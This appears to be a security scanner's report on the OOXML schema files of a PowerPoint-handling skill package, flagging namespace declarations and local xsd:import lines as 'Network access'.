    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/diagram"
  • Network accessline 4
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 5
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 6
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 7
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/diagram"
  • Network accessline 8
    elementFormDefault="qualified" attributeFormDefault="unqualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 9
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 10
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 11
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 12
    schemaLocation="dml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 13
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"
  • Network accessline 4
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 5
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 6
    elementFormDefault="qualified"   targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas">   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 7
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas">
  • Network accessline 8
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 6
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 7
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 8
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 9
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 11
    schemaLocation="shared-commonSimpleTypes.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram"     schemaLocation="dml-diagram.xsd"/>
  • Network accessline 12
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/diagram"
  • Network accessline 13
    schemaLocation="dml-diagram.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart"     schemaLocation="dml-chart.xsd"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/chart"
  • Network accessline 15
    schemaLocation="dml-chart.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture"     schemaLocation="dml-picture.xsd"/>
  • Network accessline 16
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 17
    schemaLocation="dml-picture.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"     schemaLocation="dml-lockedCanvas.xsd"/>
  • Network accessline 18
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/lockedCanvas"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 4
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" elementFormDefault="qualified"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/picture">
  • Network accessline 6
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 4
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
  • Network accessline 5
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 6
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
  • Network accessline 7
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 8
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 9
    schemaLocation="dml-main.xsd"/>   <xsd:import schemaLocation="shared-relationshipReference.xsd"     namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>
  • Network accessline 10
    <xsd:import schemaLocation="shared-relationshipReference.xsd"     namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>   <xsd:element name="from" type="CT_Marker"/>
  • Network accessline 11
    namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 4
    xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 5
    xmlns:dpct="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 6
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 7
    xmlns="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  • Network accessline 8
    targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  • Network accessline 9
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 11
    schemaLocation="dml-main.xsd"/>   <xsd:import schemaLocation="wml.xsd"     namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/>
  • Network accessline 12
    <xsd:import schemaLocation="wml.xsd"     namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 13
    namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture"
  • Network accessline 15
    schemaLocation="dml-picture.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 16
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/pml.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/presentationml/2006/main"
  • Network accessline 4
    xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"
  • Network accessline 5
    xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 6
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 7
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 8
    elementFormDefault="qualified"   targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 9
    targetNamespace="http://schemas.openxmlformats.org/presentationml/2006/main">
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 11
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"     schemaLocation="dml-main.xsd"/>
  • Network accessline 12
    <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main"
  • Network accessline 13
    schemaLocation="dml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/characteristics"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/characteristics"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/bibliography"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/bibliography"
  • Network accessline 6
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/customXml"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/customXml"
  • Network accessline 6
    elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
  • Network accessline 4
    targetNamespace="http://schemas.openxmlformats.org/schemaLibrary/2006/main"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties"
  • Network accessline 4
    xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 5
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 6
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties"
  • Network accessline 7
    blockDefault="#all" elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"     schemaLocation="shared-documentPropertiesVariantTypes.xsd"/>
  • Network accessline 8
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 9
    schemaLocation="shared-documentPropertiesVariantTypes.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 10
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"
  • Network accessline 4
    xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"
  • Network accessline 6
    elementFormDefault="qualified" blockDefault="#all">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"     schemaLocation="shared-documentPropertiesVariantTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"
  • Network accessline 6
    blockDefault="#all" elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/math"
  • Network accessline 4
    xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"
  • Network accessline 5
    xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 6
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 7
    elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all"   targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math">   <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/
  • Network accessline 8
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/math">
  • Network accessline 9
    <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 10
    schemaLocation="wml.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 11
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 12
    schemaLocation="shared-commonSimpleTypes.xsd"/>   <xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/>   <xsd:simpleType name="ST_Integer255">
  • Network accessline 13
    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" schemaLocation="xml.xsd"/>

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    elementFormDefault="qualified"   targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"   blockDefault="#all">
  • Network accessline 6
    targetNamespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/sml.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    xmlns:xdr="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
  • Network accessline 6
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 7
    targetNamespace="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
  • Network accessline 8
    elementFormDefault="qualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 9
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 10
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 11
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 12
    schemaLocation="shared-commonSimpleTypes.xsd"/>   <xsd:import      namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"
  • Network accessline 13
    <xsd:import      namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"     schemaLocation="dml-spreadsheetDrawing.xsd"/>
  • Network accessline 14
    namespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns="urn:schemas-microsoft-com:vml"
  • Network accessline 3
    xmlns:pvml="urn:schemas-microsoft-com:office:powerpoint"   xmlns:o="urn:schemas-microsoft-com:office:office"   xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 4
    xmlns:o="urn:schemas-microsoft-com:office:office"   xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"   xmlns:w10="urn:schemas-microsoft-com:office:word"
  • Network accessline 5
    xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 6
    xmlns:w10="urn:schemas-microsoft-com:office:word"   xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"   xmlns:x="urn:schemas-microsoft-com:office:excel"
  • Network accessline 7
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 8
    xmlns:x="urn:schemas-microsoft-com:office:excel"   xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"   targetNamespace="urn:schemas-microsoft-com:vml" elementFormDefault="qualified"
  • Network accessline 9
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 12
    <xsd:import namespace="urn:schemas-microsoft-com:office:office"     schemaLocation="vml-officeDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 13
    schemaLocation="vml-officeDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"     schemaLocation="wml.xsd"/>
  • Network accessline 14
    <xsd:import namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 16
    <xsd:import namespace="urn:schemas-microsoft-com:office:word"     schemaLocation="vml-wordprocessingDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 17
    schemaLocation="vml-wordprocessingDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 18
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 22
    <xsd:import namespace="urn:schemas-microsoft-com:office:powerpoint"     schemaLocation="vml-presentationDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 23
    schemaLocation="vml-presentationDrawing.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 24
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="urn:schemas-microsoft-com:office:office" xmlns:v="urn:schemas-microsoft-com:vml"   xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"   xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedT
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 7
    attributeFormDefault="unqualified">   <xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 8
    <xsd:import namespace="urn:schemas-microsoft-com:vml" schemaLocation="vml-main.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"     schemaLocation="shared-relationshipReference.xsd"/>
  • Network accessline 9
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 10
    schemaLocation="shared-relationshipReference.xsd"/>   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 11
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns="urn:schemas-microsoft-com:office:excel"   xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"   targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified"
  • Network accessline 4
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 5
    targetNamespace="urn:schemas-microsoft-com:office:excel" elementFormDefault="qualified"   attributeFormDefault="unqualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 6
    attributeFormDefault="unqualified">   <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"     schemaLocation="shared-commonSimpleTypes.xsd"/>
  • Network accessline 7
    <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"

skills/pptx-official/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd

  • Network accessline 1
    <?xml version="1.0" encoding="utf-8"?> <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 2
    <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  • Network accessline 3
    xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math"
  • Network accessline 4
    xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
  • Network accessline 5
    xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main"
  • Network accessline 6
    xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing"
  • Network accessline 7
    xmlns="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
  • Network accessline 8
    xmlns:s="http://schemas.openxmlformats.org/officeDocument/2006/sharedTypes"
  • Network accessline 9
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
  • Network accessline 10
    elementFormDefault="qualified" attributeFormDefault="qualified" blockDefault="#all"   targetNamespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main">   <xsd:import namespace="http://schemas.openxmlformats.org/markup-compatib
  • Network accessline 11
